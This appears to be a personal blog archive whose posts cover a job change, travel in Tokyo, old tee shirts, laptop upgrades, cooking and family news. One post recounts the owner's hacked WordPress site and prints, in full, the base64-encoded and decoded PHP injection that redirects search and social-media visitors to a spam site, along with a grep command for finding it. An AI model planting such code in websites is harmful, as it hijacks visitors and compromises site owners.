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End of week 1

So today is the end of week one at my new job, or should I say the beginning of week 2. So far it has been a pretty remarkable experience. I went through 4 days of training and still trying to get my head around everything that I am learning. IPv6, DHCP, DNS… etc. All the things that I’ve used and know about but I am just doing a major deep dive into these subjects. It is good to be back in the mist of all the technical goodness. Tomorrow begins my week too and it starts with an early morning travel.  Once again, I think I will try again this year to start my blog back.  hopefully this will continue.

A New Start

It’s been a long while since I wrote on my blog, but I feel this is an important occasion to update my blog.  So today is my first day at my new job with BlueCat Networks.  After close to 7 years working at Sparling, I finally called it quits, little over a week ago, on Valentines day (2/14/2014).  It was a difficult decision, but it was time to move on.  It’s always the people that I missed the most.  So for the last week, I’ve been throwing away everything, reshaping my office, and preparing for my new work day today. During my week off, I’ve been really enjoy my time off, like I said, I been cleaning up the house, walking 10K steps a day and trying to eat healthy.  It’s pretty amazing. So today starts my new work life.  In a few minutes I will be on a conference call with my new boss and start my new work day. Wish me luck.

Sublime with Rome

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Back in 1996, I was in Auburn, in college.  Ska was big and I loved it.  One of my favorite group was Sublime.  I remember saving my money to get the Sublime CD (compact disk for those that don’t know what it is :) ).  After Bradley died, I thought that’s it… such  great group and no more. To my surprise, I found out through Marymoor concerts.  That Sublime is back from the dead, they are called Sublime with Rome.  So it seems that they found this amazing guy that has some great talent.  Check out the video below.

or listen to them on Spotify.

https://play.spotify.com/artist/3XXrhkZKSGd3CUJQFnx5tQ

Well… I know I am like 2 years late, but it made my day :)  Enjoy and if you have time tickets are still available to see them at Marymoor.

TIL: Optimal sentence length for comprehension

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Today I learned that the optimal length for writing comprehension is around 5 to 6 words a sentence. This is approximately the same length that a feather quill pen can write before the ink dries up.

Ref: Star Talk S4E15

TIL: Wireless Telephone in 1962 Space Needle

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 Today I Learned (TIL) that special wireless telephones were built for the Space Needle’s rotating restaurant in the 1962.  Today, this may not seem to special, but back in 1962, the is truly futuristic.  OH and 1 HP is all that is required to turn the space needle restaurant!!!

Ref:   Space Needle: The Spirit of Seattle

Ref:  WUNC and Sceince Friday

First Raspberry Pi Lab: Hello There

Hello there!  This is my first attempt at messing with Raspberry Pi.

It’s pretty simple, pretty much everything is from Adafruit.  Including basic script instructions.  I modified few little things and added Obi-won saying “hello there”.

Check it out.

Post Thanksgiving reflections….

So I am sitting here in the Tokyo airport lounge thinking about my recent travels and I really want to record everything that I did on this trip in my blog, however, history has shown that I have failed on that many times.  (e.g. China trip last year,  Yosemite Trip, Iceland trip, and etc…)  So I will try to do something different this time.  My goal for this trip is not to post date my posts, but to talk about a day on my trip as I have time. Maybe this way I can actually get some of our  (Vicky and Min’s) travel on paper.

So let’s begin,  So as I stated earlier, I am currently at the end of this in Tokyo.  The trip started from Seattle, to Beijing, then to Tokyo.  In Tokyo, we stayed mostly inside the city however, we did travel outside to Endoshima and Kamakura area for a short day trip.

The food for the last few days has been amazing.  Especially, the sushi and sashimi, just amazing.  We were very fortunate to have  few sunny days and few museum days (rainy).    Today of course, our departing day is rainy.  We statyed in Shinjuku and travelled around by walking, trains, and subways.  So I will go more into that in my next post.

Old Tee Shirts

Well, it has been such a nice a wonderful weekend, so during this weekend, I decided to do some cleaning and get rid of some old stuff that’s been following me around for sometimes.  So when I open up this one suit case, it was full of old tee shirts.  I will probably never wear them again, but I hated the idea of throwing them again.  They are my history, they are my past… they mean so much to me.

My logical and not emotional wife asked me a simple question, “when was the last time you’ve wore those?”

My response… “uh… 1995…”.  Right,  that wasn’t too long ago, but what 1995 was 17 years ago!!!!

Yeah… Vicky is right … I will probably never wear them ever again and they are just taking up space… but they are still so special to me… So I decided to digitize them.

So here they are… let me know what you think.

1994-1995 AP Chemistry

This shirt is my high school senior AP chemistry shirt… I am sure all my classmates are all rich and famous now :)… maybe I should keep this shirt ;)

 

Back

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Front

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1995 Auburn High School Science Olympiad shirt

This shirt was for the 1995 AHS Science Olympiad Team and yes we made the nationals that year!!!  This shirt is special because I created this shirt with my friend Ming Yan.  It is also special because we printed all these shirts in the Technology Student Association club in AHS.  Note that this was a 4 color screen print, however the back design has more than 4 colors…. pretty cool right?

Additional information about the design, the fonts are of course Star Trek DS9 Fonts and the idea for the back came from the Sliders TV show opening.

Back

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Front

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Auburn High School Science Olympiad Team Shirt

Very late 80 and early 90 style and look.

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Catholic Youth Organization

This shirt was from our teen youth group in Auburn St. Michael Catholic Church.  Once again Vintage 1995.

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The following shirts are from college… few years laters

 

Catholic Student Organization Pan Y Vino  XLII and XLIII Shirt

Pan Y Vino is a biannual retreat for the CSO.  These shirts were from the two time that I was part of the host team.  Those were special times.

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Catholic Student Organization

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Catholic Student Organization

These are CSO  @ AU shirts

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Superball 1995!!! 

One year before the 1996 summer olympics in Atlanta, many women softball team came to Columbus, GA for a pre Olympics fast pitch softball competition.  The is the shirt made for that event, for cheering on the Republic of China team!!!

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Spring Upgrade: Ad Block Plus

As part of the spring cleaning, this past weekend, I wanted to clean up my web browsing and reduce the number of annoying ads that I see in every website I visit. This include all those annoying ads on youtube and other similar sites.
This is what I found!!!

Ad Block Plus

It a wonderful plugin for web browser that removes all your ads!!! Really!!!.

What is cool about ABP is that it is a Chrome plugin. However, no plugins for Safari yet.

Ref: http://adblockplus.org/en/

YEAH! UPGRADES!


Currently my laptop is a late-2008 MacBook Pro. It is probably the best laptop that I’ve ever owned. It is definitively the only laptop that I have ever used for more than 1.5 years. This laptop is currently working on it’s 4th year. From the original specs this model of MacBook Pro only suppose to support max of 4 Gigs. Some people before were able to get 6 gigs on it, however, after Lion everything changed. With a firmware upgrade, my late 2008 MacBook Pro supports 8 Gigabyte of RAM!!!! Check out this article for more details.

So with my new found knowledge, I quickly purchased my upgrades from Newegg. This is what I got.

First, Memory… for $40 bucks I was able to double my memory. GREAT DEAL!!!!

Then I decided… maybe I should go ahead and upgrade my HD. I thought about a SSD, but I can only afford a 120GB SSD, which is smaller than my current drive size. The SSD will be must faster, but much smaller. I then saw the Hybrid drives. It got mix reviews, but the price is right, so why not. (note: right after I bought mine, newegg put this drive on promotion, it is now only $89.99!!! DOH for me!!!)

So with my removal of my 250 GB drive, I though it would be nice to have an extra external drive, so I got this case for $7.99. Yeah… pretty cheap huh!!  The best part is I can use this new USB case to transfer all my data to my new drive so I won’t miss a beat!!!!

So with very little money, I’ve refreshed my laptop and hopefully I can get another year or two out of it!!! That will be excellent, if I can do that!!!

Reference:

Damn you Hackers!!! Go to Hell!!!

So today, I noticed my another hack that’s been installed on my machine. I have to say ever since my move to GoDaddy.com, my site has been hacked over and over again. This is number #3. The reason why I posted about this one is because it is actually pretty interesting and finding what was done was like a mystery. So let me tell you a quick story.

So this evening I was trying to figure out how to get my project 365 page to post automatically to my website. This is when I first noticed a slowdown and issue when I am using the debugger from Facebook. At first I thought it was the wordpress plug in, but it occasionally works. I got everything ready, and posted my first auto post and strange things started to happen.

As I stated, everything looked normal at first until I click on the links provided by Facebook. When I click on the Facebook link to my website, it goes to some spam site. At first I thought it was the .htaccess hack that was I received a while back, but that is not the case. Then I thought maybe it was a DNS hack. That was also not the case, finally, I found the following in all my .php files on my web server.

It uses eval command and nested with base64_decode the following block of code.

DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhl
YWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVS
RVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICgh
c3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Ig
c3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBz
dHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0
cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJp
c3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBz
dHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQu
bHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5k
ZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgi
L2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlz
cGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRy
ZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3Ry
aXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbWlua29mLnNl
bGxjbGFzc2ljcy5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ

it is quite clever. It is encoded and people may easily over look it, but when you decode the text this is what you get

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://minkof.sellclassics.com/”);
exit();
}
}
}
}
}

Tricky huh?

So well… solution? remove all code in all .php files and with a little help from “grep” I was able to locate all the bad codes.

grep -H -r ‘eval(base64_decode’ ./

So, Go To Hell You Punk Hackers!!! I hope you guys get busted and become someone’s bitch in prison.

Physics of the Future

I recently finished a great book by https://twitter.com/#!/michiokaku. He is a theoretical physicist that writes books about technology and about the future. Take a look at his wiki page. Anyways, the book Physics of the Future is very good, I think anyone who loves science and wonders what the future might be like should give it a read. He paints a future not of just pure science fiction prespective, but of a future with advancements based on the current technology and why that future is possible, etc. If you are too lazy to read the actual book…try the audiobook. It is a good way to learn something in your daily commute.


http://www.amazon.com/Physics-Future-Science-Shape-Destiny/dp/0385530803

Another good one from Michio Kaku is called the Physics of the Impossible. Great book about if all the science fiction technologies and sciences are actually possible or not.

So what is my next book?
My next book next book will be Flatland: A Romance of Many Dimensions.

Check it out:

What is great about this book is that it is so old, from ’84. 1884 that is. ;) It is so old, that this book is pretty much free, almost everywhere.

My grandmother passed away

Today, I found out that my grandmother passed away. She was my last remaining Grandparents. My Grandmother was always the best to me. I was planning a trip back to Taiwan this summer, but now it’s too late. 外婆, I miss you.

February 2012 Update

Oh, it’s been a while since my last update to my blog. Few things, yesterday was Mardi Gras. It is hard to believe that it is Mardi Gras again and how my life have changes from 4 years ago. Anyways, it was pretty fun hanging out with my buddies at the Tree.

After my first MRI in my life, the doctors determined that it is a moderate knee ligament injury. So I am on down low for the remaining snowboarding season this year. The good news is I probably don’t need any surgery and will recover with time.

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Day at the Aquirium

A rainy afternoon in the Seattle aquarium.

More Buns and Apple Tart

Today is another relaxed and cooking weekend. Of course following the tradition of making steam buns on the weekend, this weekend is no different. We made another batch of steam buns this weekend and the results were wonderful. We’ve made alot of improvements from weeks before. We made some pork steam buns today. Check out the pictures below.

So, tonight Vicky decided to try her baking skills and made an Apple Tart. It was amazing, it was hard to believe it was her first time baking it. Check it out.

So yeah… no snowboarding today, but we did cook some beautiful food!!! yum yum!!

Happy Chinese New Year!!!

So yesterday was a good night, celebrating the Chinese New Year with friends, cooking some Crawfish etouffee, and playing few rounds of poker. The etouffee was extremely popular, it was all gone fairly early. I need to make alot more next time and the poker? Well, lets just say that I did not do too bad.

So Today isn’t too bad as well. Today is a really relaxing day at home made some red bean bao zi. It was ok. Only one batch turned out ok, and the rest looked really bad. It tasted ok, but just looked bad… however, I’ve learned alot and I think I’ve almost got it.

Take a look!!!

Another Snow Day

The weather forecast said that today the weather suppose to warm up and snow will turned in to rain. Well… that did not happen. The snow continued. I did not mind at all. Get a chance to work from home and of course enjoying the snow a bit.

Our almost Free 6th Generation Ipod Nano

This morning, I receive a small box from Apple via FedEx. Inside this small FedEx box is a 6th Generation iPod Nano!!! No I did not order a new Nano, it was a replacement for a first generation iPod Nano from Apple!!! So here is the story, few month ago I saw an blog post about Apple replacing 1st generation iPod Nanos on TUAW. I remember Vicky having an old iPod Nano… so I dug it out of the desk drawers and try to see if it is replaceable with the Apple website. And to my surprise, our iPod Nano’s serial number is with in the range that is being recalled. So few weeks later, I received an prepaid envelope from Apple, I mailed my iPod back to them and today I got it back!!!

And Yes … Apple upgraded to the latest iPod Nano… so now it is an 8 gigabyte 6th Generation iPod Nano!!!!

Actually, it is pretty awesome, the new nano comes with off air radio, and a Nike+ pedometer. Oh I hope Vicky don’t want her Nano back.

Another Wonderful Snow Day

Today is another wonderful day. The day started very early making dough for my chinese stuffed buns. With Vicky’s help we were able to make 18 buns. They were wonderful!!!
Check it out!!!

Oh it’s a beautiful Snow day today.